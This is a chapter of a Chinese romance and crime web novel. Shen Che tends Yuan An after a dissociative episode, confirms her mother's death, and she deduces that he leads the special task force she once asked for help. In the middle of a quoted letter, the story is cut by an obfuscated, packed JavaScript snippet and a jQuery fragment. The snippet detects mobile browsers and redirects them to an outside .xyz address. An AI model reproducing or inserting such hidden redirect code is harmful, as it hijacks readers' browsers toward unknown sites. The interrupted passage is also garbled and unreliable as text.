14. 第 14 章
作品:《他在晨光尽头》 原安是在一种被温暖笼罩的妥帖感中,逐渐恢复意识的。
那感觉就像是,一个人在冰天雪地里长途跋涉许久之后,突然间,走进了一间小木屋,木屋正中烧着柴火,暖意融融,而她则被人温柔地裹上了一床蓬松软被。
那软被大概刚在冬日阳光里晒了足足一下午,从上到下都透着一股干燥温暖的气息。
这种感觉非常舒服,让人不由自主从身到心彻底放松。
原安自然而然顺从本能,沉浸在这份难得的舒适惬意里。
许久之后,她终于休息够了。她感觉自己似乎已经汲取到了足够的力量,这才缓缓睁开了眼。
首先映入眼帘的,是满室柔软而不刺眼的晨光。
她发现自己被妥善地安置在了窗边一张宽大舒适的单人沙发椅里。
她的身上裹着一条轻薄却温暖的羊绒毯。那张单人沙发椅显然被人细心地调整过角度,温暖的晨光自她身侧巨大的落地窗外斜射进来,恰好落在她肩部以下的区域,如同一个温暖而无形的拥抱。
她不自觉动了动手指,这才发现,自己手上的伤口已经被妥帖地处理过了。有人用酒精专门为她消了毒,还非常用心地在个别较大的伤口处贴上了创口贴。
而她的手里,似乎还捧着一个马克杯?
原安有些疑惑地低头。
她看着手中凭空出现的陌生马克杯,尚未完全清醒的脑子越发迷茫。
片刻,她像是想到了什么似的,有些僵硬地抬起头。
几乎是第一眼,她就瞧见了坐在不远处书桌后的沈澈。
笔记本电脑屏幕发出的光映在他专注的脸上,他眼下有淡淡的青黑,眉宇间也有轻微疲惫,但他的脊背依旧挺得笔直。
几乎在她视线投过去的同时,坐在书桌后、正在整合线索的沈澈就敏锐地抬起了头。
“原小姐,你醒了?”
他说着,抬手合上了电脑。
他从书桌后站起身,慢慢朝她走来。
他没有贸然直接走到她的身边,而是在距离她几步远的地方,自觉停下了脚步。
他站在她的绝对安全距离之外,先是不动声色地从上到下快速扫了一眼她的状态。在确认她没有明显的异样后,他才缓缓开口,语气温柔自然:“原安,你现在感觉怎么样?马克杯里的水温还合适吗?”
他的声音里带着一丝熬夜后的沙哑,却一如既往温和沉稳。
原安没有立刻回答。
她垂下眼眸,长长的睫毛在苍白的脸上投下浅淡的阴影。她在认真识别并思考沈澈提出的问题。
片刻,她像是逐渐找回自己的思维能力一般,下意识地低下头,跟随沈澈的问题,蜷了蜷捧着马克杯的手指。
水温透过杯壁传来,是恰到好处的温热。
又过了几秒后,她才极轻地开口,声音沙哑,语气冷静:“水温……可以。”
沈澈微微眯了眯眼。
刚才,他对原安提出了两个问题,感觉如何以及水温是否合适。前者是情绪关心,后者是具体感官。但原安,她迟缓却精准地回答了后一个问题,却在前一个涉及她内在感受的问题上,选择了回避和跳过。
这说明她现在确实已经脱离了解离状态,但内在依旧混乱痛苦。
她的理性在逐步回归,但情感上却依旧脆弱。
总体而言,这是一个向好的信号。
想到这里,沈澈不由心下稍安。
他想,以她的性格,大概率现在是不想见到他的。
毕竟,昨夜他在酒店走廊上,亲口承认了对她的欺骗。
既然她现在已经脱离了解离状态,开始逐步恢复,那么他的身份也就从临时医生变成了刺激源本身。
或许这个时候,他应该主动离开,避免她再次受到刺激。
这样想着,沈澈点了点头,道:“那就好。你先休息一下,我下楼去给你买早餐。”
沈澈说完,便要转身离开。却在这时,身后的原安突然开口喊住了他。
“沈澈,”她的声音非常干涩,语速很慢,甚至还带着不自然的停顿,“我,暂时,不想吃东西。你,能稍微,留一下吗?”
沈澈闻言挑眉。
这个请求倒是有些出乎沈澈的意料。
但无疑,这个反应,对于原安而言,是个向好的征兆。
毕竟,对于一个刚从严重解离中恢复的创伤患者而言,最危险的状态不是崩溃,而是封闭。
在经历了昨晚的信任危机与精神崩溃后,她依然能够向他开口,这说明在她潜意识的权衡中,她还是将他判定为是个安全的、可以依赖的人。
而她要他留下的请求,意味着她潜意识里想要重新和他、和外界产生联结。
她的社会交往功能正在恢复。
沈澈自然非常乐意延续这种向好的发展。
“好。”
他几乎没有任何犹豫就应了下来。
他一步一步慢慢靠近原安,直到确认原安完全没有任何排斥他的举动后,他才走到原安对面的单人沙发上坐下。
他温柔而安静地看着原安,沉默地等待原安开口。
原安其实是有些犹豫的。
她也不知道自己为什么会在沈澈转身的时候,下意识开口留住他。
她觉得自己可太奇怪了。
这样想着,她不由自主未经思考就问出了第一个问题:“沈老师,我,这是怎么了?”
沈澈明显误会了她的意思。
他非常专业地同她解释了起来:“你昨晚的经历,在心理学上被称为‘解离’。这并不是什么疾病,而是大脑在承受远超阈值的压力时,启动的一种高度自我保护机制。它让你暂时与现实分离,从而避免精神被击垮。这并不可怕,也不特殊。事实上,它是一种极为普遍的基本反应。任何人,包括我,若是在短时间内,同你一般,接收那样密集的信息与巨大的刺激,都可能会出现类似的反应。”
沈澈说到这里,微微顿了顿,片刻,才真诚续道:“我很抱歉,我之前的一些行为,也成了诱因之一。”
原安不说话了。
一些光怪陆离的碎片,随着沈澈的话语,在她的脑海里快速闪过。
酒店走廊柔软的地毯、陌生情侣嬉笑打闹的声音、一种让她几近窒息的绝望,还有之后许多破碎的零星记忆。
那些记忆中的画面太过扭曲、模糊,宛如雾里看花,她甚至有些分不清那到底是记忆,还是一场噩梦。
所以,昨天她和沈澈出了电梯之后,在酒店走廊上,到底发生了什么?
为什么她会突然失去意识?
为什么当她再次清醒时,她会呆在沈澈的房里?
这中间到底还发生了什么事情?
还有顾巍……
他怎么可能会放任沈澈把她带回自己的房间呢?
原安感觉自己的心底瞬间又重新涌起了许多不知名的复杂情绪。她突然就很想将问题逐个抛向沈澈,向他索要答案。
可不知道为什么,这些话明明都已经滑到了嘴边,她却硬生生一个字都问不出来。
仿佛冥冥之中有一股奇怪而强大的力量,狠狠地拽住了她。
她的思维就这样莫名其妙凌空劈了个叉,转到了毫不相干的林心楠身上。
她莫名就想到了那封提到顾巍的林心楠的绝笔信,思维瞬间定格在了绝笔信开头的那一句“安安,当你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472344|185168||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看到这封信的时候,妈妈应该已经不在了”。
原安骤然清醒,思绪在这一刻仿佛被这股力量彻底拽离,落在了另一个她无法回避的痛点上。
她看着沈澈,终于问出了第一个经过思考的理智问题:“沈澈,我妈妈她……”
“我妈妈……她是不是……已经不在了?”
沈澈也没想到,原安的问题竟然是关于林心楠的。
这个问题,怎么说呢,真是即在意料之外,又在情理之中。
但他在听清问题的瞬间,下意识的第一反应竟然是松了口气。
他在庆幸,她的潜意识仍在保护她,没有让她再次询问顾巍的去向,没有让她去触碰那个最核心、最致命的创伤。
所以,他也该吸取教训,不能再次欺骗她。
沈澈点头,如实道:“是。”
原安蓦地感到心脏被一只冰冷的手攥紧了。
虽然在青岚山上的时候,她已经有所预感,并且在沈澈的引导下,已经宣泄过情绪,并且稍微接受了这个现实。
但亲耳听到沈澈如此正式地承认,说实话,她还是感受到了巨大的冲击。
她以为自己会再次痛苦地流泪,但诡异的是,预想中的悲恸并没有来临。她能够很清晰地感受到,自己当下的情绪不是痛苦,而是平静,甚至是,冷静。
“那,她……”她顿了片刻,实在没忍心说出“遗体”二字,索性直接忽略了这个词,问道,“她现在在哪里?”
“在市局的……法医室。”沈澈依旧如实回答,“我们已经做了最专业的处理,你不用担心。”
原安的眼睫狠狠一颤。
沈澈这个回答太明确了。
这根本不是一个心理学教授的科研助理会知道的信息。
这分明是只有直接接触绑架案的专业刑警才会掌握到的信息。
还有,他在回答的时候,自然而然脱口而出的“我们”。
这种体制内的惯用语,她在望海市局协助办案时,曾经无数次听到刑侦支队的同僚们对外这么自称。
但沈澈不是望海市局的人。
他是一年前因为她的绑架案,才来到望海市局的。
而绑架案后,望海市局唯一新成立且需要外部支援的部门,只有一个,那就是远洲集□□列特大犯罪专案组。
所以,沈澈是这个专案组的成员。
再结合沈澈出身晋阳沈氏、他说话时偶尔的口音以及不经意间带上的地方惯用词语,他大概率是专案组中,那两位从首都辰星调来支援的刑警之一。
很显然,沈澈不可能会是那个刚满二十、活泼脱线、喜欢捣鼓各种无用小玩意儿的天才宅男技术员。
那么,就只剩下了一种可能。
沈澈,他就是那位传说中来自首都特侦局、天天神龙见首不见尾、忙得据说连市局大门都没空进的专案组组长。
想到这里,原安简直痛彻心扉。
无数情绪如冰锥,不断刺穿她仅存的理智。
她没有哭,反而笑出了声。
她抬起眼,目光像淬了毒的刀片,缓缓刮过沈澈的脸。
“两个月。”她的声音很轻,却字字清晰,带着一种耗尽全部力气的、残忍的平静,“绑架案发生前两个月,我就以望海市局刑侦支队特别顾问的身份,向你们特侦局递交了协查申请,请求你们立即介入调查。”
“我明明已经在案情分析报告里,阐明了问题的严重性和事态的紧迫性。可你们呢?不闻不问,硬生生拖了整整两个月。”她微微偏头盯着沈澈,嘴角在笑,眼里却像是快要哭了,“现在,人都死完了,你们特侦局终于舍得来人了。沈组,我请问呢,现在要你们来干嘛呀?”